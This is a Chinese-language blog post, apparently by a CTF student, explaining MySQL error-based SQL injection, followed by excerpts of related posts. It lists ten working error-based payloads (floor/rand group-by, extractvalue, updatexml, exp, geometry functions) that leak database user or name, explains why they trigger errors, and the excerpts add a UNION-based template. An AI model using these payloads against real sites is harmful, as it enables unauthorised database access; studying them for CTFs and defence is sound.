mysql中文注入 SQL注入之Mysql報錯注入

2021-10-18 18:17:38 字數 3342 閱讀 2058

——志向和熱愛是偉大行為的雙翼。

昨天偷懶了沒學什麼東西,先自我反省一下 - -。

今天認真的學習了一下mysql報錯注入利用方法及原理,好久之前就像認真的學一下這個了,是在上海市大學生網路安全大賽中遇到的web100。當時懵逼狀態,被學長提醒了一下才知道是mysql報錯注入,因為之前一直都沒接觸過,所以當時只是知道怎麼用然後拿了flag。其實根本不知道什麼原理怎麼回事,直到今天才把一些常見的報錯注入方法原理搞懂,所以寫篇部落格來加深記憶以便後期會議。

首先,sql有一下幾種:

1.union query sql injection(可聯合查詢注入)

2.boolean-based blind sql injection(布林型注入)

3.error-based sql injection(報錯型注入)

4.stacked queries sql injection(可多語句查詢注入)

5.time-based blind sql injection(基於時間延遲注入)

1,floor() payload:

and select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2))--

2, extractvalue() payload:

and extractvalue(1,concat(0x7e,user(),0x7e))--

3, updatexml() payload:

and updatexml(1,concat(0x7e,(select user()),0x7e),1)--

4, geometrycollection() payload:

and geometrycollection((select * from(select * from(select user())a)b))--

5, multipoint() payload:

and multipoint((select * from(select * from(select user())a)b))--

6, polygon() payload:

and polygon((select * from(select * from(select user())a)b))--

7, multipolygon() payload:

and multipolygon((select * from(select * from(select user())a)b))--

8, linestring() payload:

and linestring((select * from(select * from(select user())a)b))--

9, multilinestring() payload:

and multilinestring((select * from(select * from(select user())a)b))--

10, exp() payload:

and exp(~(select * from(select user())a))--

11,基於mysql的資料型別溢位(不適用於老版本的mysql,5.5以後版本)

mysql報錯注入原理分析(count()、rand()、group by):

基本上一下午都耗在這裡了,因為實在不是很容易懂,其實也不是,只是開始的時候浪費了很長時間在一些講的不透徹的資料上,接下來我就說一下我自己的理解。

我們先來了解一下這三個函式的作用:

count():統計有select語句返回的記錄。

rand():隨機生成0-1之間的浮點數  rand()*2就是0-2之間的浮點數

group by:用於結合合計函式,根據乙個或多個列對結果集進行分組。不懂的話具體例子看這裡:group by

另外  floor()函式是取整的意思。

我們使資料庫報錯的payload有兩種  1. and select concat(*) from information_schema.tables group by concat(database(),floor(rand(0)*2))--

2. and select concat(*) from information_schema.tables group by concat(database(),floor(rand()*2))--

這兩個語法的區別在於 rand()函式有沒有隨機因子0,有隨機因子的payload必定報錯(因為有隨機因子的語句生成的值固定——有規律),而沒有隨機因子的payload隨機報錯(隨機生成值,無規律)。

原理:當mysql資料庫執行該語句的時候會建立乙個虛擬表,表中有主鍵key和count(*)。當從資料庫提取資料時,執行一次payload,提取的值為0,接下來會訪問虛擬表檢查是否存在0,因為我們這是第一次執行,所以表中不存在資料,所以我們將資料插進虛擬表中,這時又執行了一次payload,這次的值為1,所以向虛擬表中插入key:1,count(*):1。接下來第二次提取資料,執行payload獲得資料1,再次查詢虛擬表,存在1,所以直接count(*)+1,這時我們已經執行了三次payload,繼續第三次提取資料,執行語句,得到資料0,查詢虛擬表中不存在0,所以向虛擬表中插入資料,執行payload得到1,插入表中,而虛擬表中此刻為: key:1,count(*):2。由於1已經存在,繼續向資料表中插入1導致報錯。其實簡單來說,導致報錯的原因就是資料庫中主鍵的不可重複性。

這就是為什麼有隨機因子的payload在資料庫表大於3的情況下一定會報錯,而另乙個隨機報錯。我建議自己安裝乙個mysql,然後在命令列下試一試這幾個函式的效果,非常有助於理解。不是很好理解,如果本片文章不能讓你看懂的話,可以移步這裡,我也是在這篇部落格的教導下自己在虛擬機器中實踐學懂的,沒那麼難理解。

xml查詢函式報錯原理(extractvalue,updatexml):

這兩個函式報錯的原理其實都是一樣的,因為函式的第二個引數要求為xpath 的string格式,而我們用concat函式生成的是連線的字串,因此報錯。

updatexml (xml_document, xpath_string, new_value);

第乙個引數:xml_document是string格式,為xml文件物件的名稱,文中為doc

第二個引數:xpath_string (xpath格式的字串) ,如果不了解xpath語法,可以在網上查詢教程。

第三個引數:new_value,string格式,替換查詢到的符合條件的資料

作用:改變文件中符合條件的節點的值

extractvalue函式同理。

本文主要說了前三種報錯注入的方法和原理,其餘的因為我暫時還沒遇到 感覺並不常用所以以後遇到的時候在補回來,如果對其他的報錯注入有興趣可以點這裡。

最後希望自己在這條路上繼續堅持下去,保持熱情,路途遙遠且行且珍惜,共勉。

MySQL之SQL注入

將傳入的資料都當成乙個字串,會對自動傳入的資料加乙個雙引號。例如 order by 或取map中的value 也是一樣操作。假設傳入引數是 smith 會解析成 order by smith 將傳入的資料直接顯示生成在sql中。例如 order by 或取map中的value 也是一樣操作。假設傳入...

注入攻擊之sql注入

在1998年,一位名為rfp的黑客發表了一篇題為 nt web technology vulnerabilities 的文章 注入攻擊的兩個條件 1 使用者能夠克制資料的輸入 在這裡,使用者能夠控制變數 2 原本要執行的 憑藉了使用者的輸入 一般輸入乙個 單引號就能引起執行查詢語句的語法錯誤,有些伺...

SQL注入之報錯注入

固定語句公式 union select 1 from select count concat floor rand 0 2 注入爆資料語句 a from information schema.tables group by a b 假如id輸入存在注入的話,可以通過如下語句進行報錯。mysql se...